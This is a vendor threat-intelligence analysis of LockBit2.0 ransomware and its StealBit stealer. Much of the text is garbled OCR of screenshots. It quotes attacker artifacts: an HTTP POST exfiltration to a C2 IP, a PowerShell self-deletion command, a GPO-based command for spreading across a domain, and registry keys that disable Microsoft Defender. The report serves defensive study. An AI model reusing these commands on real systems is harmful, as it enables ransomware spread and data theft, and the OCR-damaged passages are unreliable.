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The Cybereason Nocturnus team has been tracking the LockBit ransomware since it first emerged in September
2019 as a ransomware-as-a-service (RaaS). Following the rise of the new LockBit2.0 and the latest events,

including the attack against the global IT company Accenture, we wanted to provide more information about the

attack and show how the Cybereason Defense Platform protects customers from this threat.

LockBit2.0 Ransomware Key Details:

. o Emerging Threat: In a short amount of time, Lockbit2.0 ransomware caused great damage and
made headlines across the world, with over 40 known victims on their website.

o High Severity: The Cybereason Nocturnus Team assesses the threat level as HIGH given the

destructive potential of the attacks.

o The fastest encryption on the market: The group claims that both the LockBit2.0 ransomware and
the StealBit info-stealer are the fastest on the market - in encrypting files and in stealing them.

o Uses group policy update to encrypt network: LockBit2.0 is the first ransomware to automate the
process of executing the ransomware on the entire network with a single command.

o Possibly triple extortion?: The group claims to attack Accenture, one of its victims, using DDOS
attacks daily.

o Detected and Prevented: The Cybereason Defense Platform fully detects and prevents the

LockBit2.0 ransomware.
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Cybereason Blocks LockBit2.0 Ransomware

In August 2021, the group published on their website that they have breached the security company Accenture,

and threaten to publish their sensitive information and stolen data.
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LockBit2.0 leaked data website

After a few days of not publishing the data stolen from them, and extending their countdown multiple times. The
group added this sentence to Accenture’s description: “Dudos every day” - which might imply that they are
conducting DDOS activity against Accenture to push them into paying the ransom fee. This tactic is not unique,
different ransomware groups have adopted the triple extortion trend, since (apparently) sometimes, double

extortion is not enough for them.

The LockBit group is suspected to be operated by Russian speakers. In the past, the group was recruiting affiliates
in Russian hacking forums but since many hacking forums started to ban ransomware-related threads, the group
started recruiting directly on their website. Similar to other Russian-based threat actors, they avoid targeting any

victims in former Soviet states.

According to the LockBit group, LockBit2.0 is “the fastest encryption software all over the world,” and they are

even sharing a test sample on their website, so everyone who “has any doubts” can check their claim:
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LockBit 2.0 is the fastest encryption software all ower the world. In order to make it clear, we made a comparative
table with sewveral similar programs indicating the encryption speed at same conditions, making no secret of thair
Mames,

Encrypiion speed comparative table for some ransomware - 02.08.2021 (added BlackMatter)
PC for testing: Windooss Serer 2016 1641 8 core Xeon ES-2650002 40GHz | 16 GB RAM | S50

Mame of th Spaed in Time spant for Time spant for The numbsr of the
" Daté of s sample  segabytes  sncryplion encrgption Selfspread  Size samsle in BB seerypted fes (A0 file

i —- it Sibcond of 100 GB of b TR in & wpsoem 2OTETE)
LOCKBIT 2.0 § Jun, 2021 3T M AM RS TH 26M 405 Yaa B55 KB 1 (G
LOCKEIT 14 Feb, 2021 288 MBis GM 163 10H 2GM 405 Tes 145 Ktk 1 PINL2S
Cuha & Mar, 2000 1&5 MAia aM 16H 4] 114V KB 110488
BlackMatter 2 Ay, F0F1 125 MBis aM 16H ] ¥ KR 111018
Babuk 20 A, 2021 155 MBis qon 16H 40M as KB T HEM
Spdinokibl 4 Jul, 2019 151 MBis 1M 10H 20M Ha 253 KB G540
Ragnar 11 Fel, 2020 151 Miin 1M 1H 20M ko 40 KB 110651

Encryption speed comparative table as shown in the LockBit2.0 blog

If wou Bave any doubts conceming this table, you can easily check the provided infarmation downloading the
samples, which have been used for testing. Follow the link RansomwareSamples.7z

The ransomware test sample as shown in the LockBit2.0 blog

According to the group’s website, there are major improvements in the new version of LockBit2.0, and addition of
new features. Among the new features are: port scanner, using wake-on-lan to switch on turned off machines,
print-out using network printers and automatic distribution in the domain, which puts corporates and small

businesses in great danger:

Brief feature set:
¢ administrator panel in Tor system;
communication with the company via Tor, chat room with PUSH notifications,;
automatic test decryption;
automatic decryptor detection;
port scanner in lecal subnetworks, can detect all DFS, SMEB, WebDav shares;
automatic distribution in the domain network at run-time without the necessity of scripts;
termination of interfering services and processes;
blocking of process launching that can destroy the encryption process,
setting of file rights and remowval of blocking attributes;
removal of shadow copies;
creation of hidden partitions, drag and drop files and folders;
clearing of logs and self-clearing;
+ windowed or hidden operating mode;
¢ launch of computers switched off via Wake-on-Lan;
« print-out of requirements on network printers;
o available for all versions of Windows OS;
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List of features as shown in the LockBit2.0 blog

Same as other ransomware emerged over the years, the LockBit group follows the growing trend of double

extortion (and sometimes even triple extortion, as mentioned above). They steal sensitive files and information
from their victims, potentially by using another tool from their arsenal called StealBit, and later use it to extort the

victims by threatening to publish the data unless the ransom is paid:
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Along with the encrypting system, you get access to the fastest stealer all over the waorld - StealBit automatically
dowmiloading all files of the attacked company to our updated blog.

Comparative table of the information download speed of the affacked company
Testing wias mack an the computer with & spesd of Inbernet of 1 gigabil per second
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R f:” e 457 MEs Ho Mo Mo 34M 345 BH 45M 463 240 19M B35
Hicione: paoioud com
4 38 Mg Hi M ] 38M 35 GH 20M 315 60 10H 1M 455
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Introducing StealBit in the LockBit2.0 blog
Breaking Down the LockBit Ransomware Attack:

LockBit2.0 Ransomware Infection Vector

Since LockBit mostly relies on affiliates to carry out the operations, there are different infection vectors observed
being used to infiltrate a network and install the ransomware. Most commonly seen method is through buying

Remote Desktop Protocol (RDP) access to servers, but some affiliates also use typical phishing attacks to launch

their operations.

Another interesting approach the LockBit group uses is trying to gain access to corporate networks by recruiting

employees who can grant them insider access. They offer "millions of dollars" for corporate insiders who provide
access to networks where they have an account. Since the message appears after the already breached the network,
it is most likely targeting external IT/IR consultants who may see the message while responding to the attack, or

other people reading about it:

I N A NN SN S ARG BN IR

Part of the message targeting corporate insiders
LockBit2.0 Ransomware Data Exfiltrator

Once the ransomware operator or affiliate makes their way into a network, they begin to collect sensitive

information and files and exfiltrate them. One tool that is used for this purpose, and is also offered to affiliates by

the LockBit group, is a stealer they named “StealBit”, which, according to the group, is the fastest stealer in the

world and it automatically downloads all the files to the LockBit blog:

PDB found: E:\work\proj\file_sender\x64\file_sender.pdb
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First, the stealer collects information about the environment such as machine name, username, OS version,
available disk space and physical and virtual memory status. The stealer enumerate the logical drives that are
available on the victim's computer and recursively walk through the files in them and collects office documents
files and pdf files, encrypts them send it to the server as “uploadFile.php” using HTTP POST method:

* FOST fuploadFile.php MTTRf1.1

A accept: Text/htwl
Content-Type: application/=-wwii-form-urlencoded
Usar-fgent: Mozilla/S.@ (Windows NT 18.8; Wingd; x6d; rv:85.8) Gecke/20068181 Flrefou/8%.8
Host: 167.171.178.133

Cantent-Lengith: 326835
Cache-Contral: no-cache

key=jkrenughioweruyfosivenuy ILONEeFfumudddfidat a=b LY ABMERAK G GuEC AR P gADAPT /

GhkASEhMAZAMT ALWUBLASMIEGAEABVSD, f f f BSTCAABMAAY T ABWEAD I SQPEA T gD s OB ATV ACDOAAE ] WE DG j BCARE

G EERAARDAG TG By 2 ELPME I TAARADEDWAC KCADET FY gAREDF - AMFOOPC g TA S F

£P3gIFAT JhuABCAAZDgWRBAC KL LdUE F EQHMOF B bPAQDdWAE Bnd S Bwa Fnb EG3 TCxn gL amais L 308V h AN AE vl Enwa FUZ BODEF EnBFEZEz
AGDE AR ERIMARYWWALFE SAAL PREAS WS FARRVOU Y/ AFPQRERLIT vNTRY I 2 AHEF W/ RE#UAS gEs IV EgRUE U Sh-baHTADE LALARTQITASS
hIwkASgofaasasEnlieE IvFgavudlenl zHEEAVaHAS QL GUz gA T gaFDAG R IPZhz GhaFg ToDqXmatdugEEgDtmeaAs fagia JvgFaF v
*FPEQETSAEARAGEGWE 3/ SOHE OV SDa Tk vk LT LtV T g B0 kHPOED 1 And g AR Y LARNS Sk

MpPekDIF g by e FaDl 207 1elat el Ao P BUAAEKEAT gLAR 19 / Aed 5 5100/ LRES WA TAPEFABRRAFFA DS DS PSR
WBADMSFALEATWAP AL BADT

[rafP L gODwA PAARADM AP A PAFAAEA WG Pas BAD AP AAEAADAA T EUR TE LI BEFVCEEVEBOURBPUF 1 JRVERSZESASHE LAF FyusiaF TpLI BPULARDA
EYKEENL IGH.\.'.ﬁEﬂth'-'udCBuA{ﬂll:!Q;gcEF:AEBlbiBy'EEdsIWiﬂthai‘."BI‘ﬂﬂwptrCBI-:EAQ\'!Eu:EAﬁ:::,‘I-:H.AE.I’
STHZvANMBAGFEemY e IWWACAS

Duls I'EII'lITI.H'l'EIGqnT'HJVMJkIleﬂIFlAI&EdIBE:HJ;aEElEHEIEEIDdB,R}'aTAHCBIG!IlH.drﬂBhE EAgXIBANUACIF1IIF lIGISbB.ﬁ.EIHI}I.ﬁ.
ARyEETRE CACZON 2eQd JARECENRZLIEQh481c d B D hiwgAZ Gl 2o GRZ TR p ol fl ]l 2 THAE4ARDOG IVt AR SBUC KhhaeEgDCh I FQF JGRAE £ 2
'|'Q'EMEEHEMMI:IEllIEhFACE-DLh"'ﬂ;EI!UEsElll:u'.I'Cl:iAF'l'L'I:PECkI-f-'pﬂEl'g,EIElg‘u'l"Hhﬂ.mI..-CE-'ﬂLl‘m.lA-EkgESEhEleIIl].:UBTm'EEUI-hﬁ.'r'En
palkgBALRHI N AS DY WSS IBA RS AL e LW SAMY 2 gMYROACTL o0l yalutEEETCERBIHIpaE1 1461 ve SAERDEAF iETphIAT‘f'HEjM!E\'BFCEIW!
Dol Eda S 1ohog Y KV TEP iDMpACi S LKy A IX b EMADE D RRAOP 2w g Qi P ROy kI EpnsbQe IHB1 AR CPepel HInl AN ua AR XA 0D

WireShark packet showing the communication with the C2 -1

Each file is added with information such as the file size, original file name and machine name:

o DAACTALL JAAGNMGAHOAHUWAH YA K P SMASAMA RS HABEMAC qo-+5 ] FTAAE AR F 2 ARC ClmATERSRT)

+apianhDAARTAA JaRgeowil ] gwd T ke T ostih gL MR CRMACTMAC G 5 2otk DA Tk K A AgpMEE TV 1'al ] owlig YRAE TMAC sMAC BT gridi
i ANTAAN AANTAAGGAMEH EWEK TWAKMWAK G RMAC IMAmMAC NHAL gglAAG TALD ] ARG TAA gwL KEWAK Swit BuAK guMAC KMATY AL THAC g DAL TAL
IARE EAAr AL e L awA L b K g RMACOMAT £HGL S
HAEI:]HJ:UMTM‘n'jMHqu:m‘-‘m"m’ﬂ:hﬁﬁrmﬁmemmﬂWcﬂﬁmmamﬂFaImI
I',:_lh'l'l,'!_l.'.l;lu'U,IFAFHMMFMMPMHQWIyWLJSMIEIWHMﬁﬂlQtEMEdFE;MHﬂ?’MFMHHkHL‘fﬂhE31-.EHI,'.II|.'.|dhLI.ﬁd
Fﬂﬁ.lm?.ﬁmKMIEH'WFFIE&ﬁgﬂxﬂEFHﬂkMMi:WHHFEF@MMIAI:ii'i'l:lFT."
w30 BEADE 1 FQEEC LIV BvenlkcAEWMEE L wFASTN T YDwAF AAEL G AHRS ELCV Y/
B BB E LAARADTIABID TAHLGBGAAGEA: g B RAELAYGAAZ gBvAF g i O LACEAL GAAF wiol L gCAFR TABh LB g ACKAT Ex ALDF gUARARRY 1L R
UnangsjzgAfwEraAcEfvAh I a0ESEADCNgBAE 0AKGRACAE THE1AGOhHWOAEY+AZC L/
AQCyNBC A TEFAAHDRY FADGPALCF RRC AAEVAARFARA] ERJRAPWA A DS FADEAPRG
MEF.AI..IE'FAPEf.ﬁ.B-l'.ﬂ.l;!"lBI'-'.I-IMA‘FABmul-mfﬂﬂmﬁ.E-EMl:l'-'.EB:.l'hhH.gAE:I.|'.|'1'3.'.|U-:HB'-’Inl;g'l.'IByEIAWMHﬁMijImHiMEHJhEKE
AMBYEHQ DY Tnnd i el LOB 2 GALUF #AA==BFl leal ze=1 162 24RFranes L 2e=325358F ramenum=14FL lecrca-
! [&filename=CVE - 20808-8320  docSponame=My CorputerSHTTR/1.1 280 OF

Server: nging'l.14.2
i Date: Thu, 12 Aug 2821 SB:45;35 OMT
Content-Type: text/himl; charset=UTF-B
Trandfer-Emncading: chunked
Connection: keep-alive

5
I 19357
&

WireShark packet showing the communication with the C2 -2

After exfiltrating the files, the stealer runs a PowerShell command that kills the malware's process and then

deletes the malware file from the filesystem:
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powsarshell. exe -nop -w hidden -C: “5ppid = (gwmi winF2_process
| 7 processkd -eq $PD) parentpropessd; Sproc = Get-Process -Fl

evfarsianindn -id Sppick Sinp-Procss -Fonse -Emoriction Silenty
. ™, Carinue id Sppid; Shulf = [EyseliE], 0 * 1mb); Set-Donbert -
Lt Path Sproc. Fleflarme Force -Confirrcd -Vialue Shulff; Remove-
'-\%_L-' e S inem Path Sproc Filskame -Force Conlirmad ©

powershell exe E
@
A

(fu conhosl axe H-I

StealBit as shown in the Cybereason Defense Platform

LockBit2.0 Ransomware Spreading in the Network

LockBit2.0 tries to spread via shared folders. It copies it’s binary to remote machines and then executes it. In
addition, the group mentioned on their website that they provide a port scanner to their affiliates that can detect all

DFS, SMB, WebDav shares - which suggest other ways of spreading in the network.

LockBit2.0 Ransomware Uses Group Policy Update to Encrypt Network
When executed on the Domain Controller, the ransomware has the ability to spread in the network using GPO.

First, the ransomware will query the Active Directory and create a list of machines to whom it will attempt to
spread. For that it will perform LDAP queries and search for objectCategory=computer. Then, the ransomware
will create several new group policies on the domain controller that are then pushed out to every device on the

network using the following PowerShell command:

PowerShell.exe -command “Get-ADComputer -filter * -Searchbase ‘%s’ | foreach{ Invoke-GPUpdate -computer

$_.name -force -RandomDelayInMinutes 0}”

ol 18 -H'\. HORET = 45
i DI S ]
({::.-:: @ 0 S
powershedl exe
4 Y
l\;ﬂ @a= S

oy
powarshell.axe -Command “Gat-ADComputer -filter ¥ -

conhost exe -\-\‘-

Searchbase 'DC=CyberDC=domain | foreachi Imake-GPUpdate -
computer §_ name -force -Randombelayinbfinutes 04

LockBit2.0 execution as shown in the Cybereason Defense Platform
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{d] Event Properties - Event 1704, SceCli

General Details

Security policy in the Group policy objects has been applied successfully.

Windows Event log showing the creation of a new group policy object

One policy was created for disabling Microsoft Defender's real-time protection, alerts, submitting samples to

Microsoft, and default actions when detecting malicious files:

[nﬁFtw;rﬂHPw1iii&ﬂxmicrnﬂﬁrtkwindnus Defendsar

;DisableAntispyware

] [softwaretPolicies\Microsoft\Windows DefenderiReal-Time Protection
;DizablefealtimeMonitoring

] [Software\Policies\Microsoft\Windows DefendsrhSpynet

JSubmitSamplesConsant

J[oftware\Palicies\Micrasolt\Windows Defender\Threats

iThreats ThreatSeveritybefanlthotion

] [Boftware\Palicies\Micraaaft\Windows Defender\Threats\ThreatSeverityDefaulthction
| [Software\Policies\Micrasoft \Windows Defender’\Threats\ThreatSeveritylefaulthction
] [Software\Policies\Microsoft\WWindows Defender’\Threats\ThreatSeverityDefaulthction
1 [5oftware\Policies\Microscft \Windows Defender\Threats\ThreatSeverityDefaulthcktion
l1[Software\Policies\Micraosoft\WWindows Defender\U¥ Configuraticon

JHoetification Supprass

Strings from memory - disabling Windows Defender

Another group policy was created for the purpose of spreading the ransomware binary and creating persistence on

the remote machines to execute it via scheduled task:

ScheduledTasks
DisplayCalibrator
Software\Microsoft\Windows NT\CurrentVersion\ICM\Calibration

Strings from memory - creation of a scheduled task named “DisplayClibrator”

LockBit2.0 Ransomware Print Bombing Network Printers

After LockBit has finished the encryption process, it starts to bomb the ransom note to all networked printers-
repeatedly print the ransom note to any connected network printers to get the victim's attention. This feature was

previously used by the Egregor Ransomware, which caused ransom notes to shoot out of receipt printers:
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Printed ransom notes Source: BleepingComputer

LockBit2.0 Ransomware Encrypting the Files and Leaving the Ransom Note

Once the files are encrypted, the ransomware drops the ransom “Restore-My-Files.txt” note in every folder,
making sure it is noticeable to the victim. In addition, the icons of the files are replaced with LockBit's icon and

the extensions .lock and .lockbit are added to the encrypted files:

U acad? b1 b5 2066221 A6 de 54 T a4 5300 a0 T 280501 b1 282 e bocka 8715 702 5:07 P L OCKBIT File

LA .allg-:lc-ri.;w.lﬂrkh.'r 2152021 5:07 P QCEBIT File
L BDCDCSDFdock 815 00 5:07 P LOHCK File
|| Restore-biy-Files 415700 5401 Pid | ext Dacument

Encrypted files by LockBit2.0

To make sure that the end user wouldn’t miss the message, LockBit also start a process that is responsible to

shows this message:
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Pop-up message opened by LockBit2.0

If, by any chance, the end user didn’t see the pop-up message, the new files icons, the ransom notes, or the printed

ransom notes, LockBit also changes the desktop background:

]
| | 3 LOCKHIFXY,
B
ALL YOUR [IEGERTENEINE ARE

All your files stolen and encrypted
for more information see
RESTORE-MY-FILES.TXT

F_N“:E that is located in every encrypted folder
G atSocron a8 i i SOk B0 e s vl La
=CTiEAr A

Desktop background changed by LockBit2.0
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Finally, same as most of the ransomware gangs these days, LockBit sets a deadline for the victim to pay the

ransom, and if the deadline passes without payment, they leak the victim data on their website.

Cybereason Detects and Prevents LockBit2.0 Ransomware

The Cybereason Defense Platform is able to prevent the execution of LockBit2.0 Ransomware using multi-layer

protection that detects and blocks malware with threat intelligence, machine learning, and next-gen (NGAV)
capabilities. Additionally, when the Anti-Ransomware feature is enabled, behavioral detection techniques in the

platform are able to detect and prevent any attempt to encrypt files and generates a Malop™ for it:

I:: HarEnmrate beharior ]

.ﬁ‘ ﬂ' IEF_-‘:E!”:?,ETE " @ E — " '-:_l'fl:ul-':- af

DM pUieEr 1]

Ransomware MalOp triggered due to the malicious activity

Using the Anti-Malware feature with the right configurations (listed in the recommendations below), The
Cybereason Defense Platform will also detect and prevent the execution of the ransomware and ensure that it
cannot encrypt targeted files. The prevention is based on machine learning, which prevents both known and

unknown hashes:

lockbit2.exe A X

Ransomware was deltected and suspended

User notification, blocking the execution of the ransomware in the endpoint

Security Recommendations

. o Enable the Anti-Ransomware Feature on Cybereason NGAV: Set Cybereason Anti-Ransomware

protection mode to Prevent - more information for customers can be found here

o Enable Anti-Malware Feature on Cybereason NGAV: Set Cybereason Anti-Malware mode to
Prevent and set the detection mode to Moderate and above - more information can be found here

o Keep Systems Fully Patched: Make sure your systems are patched in order to mitigate
vulnerabilities

o Regularly Backup Files to a Remote Server: Restoring your files from a backup is the fastest way

to regain access to your data
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INDICATORS OF COMPROMISE

o Use Security Solutions: Protect your environment using organizational firewalls, proxies, web

Open the chatbot on the bottom right corner of this report to access the LockBit2.0 ransomware IOCs
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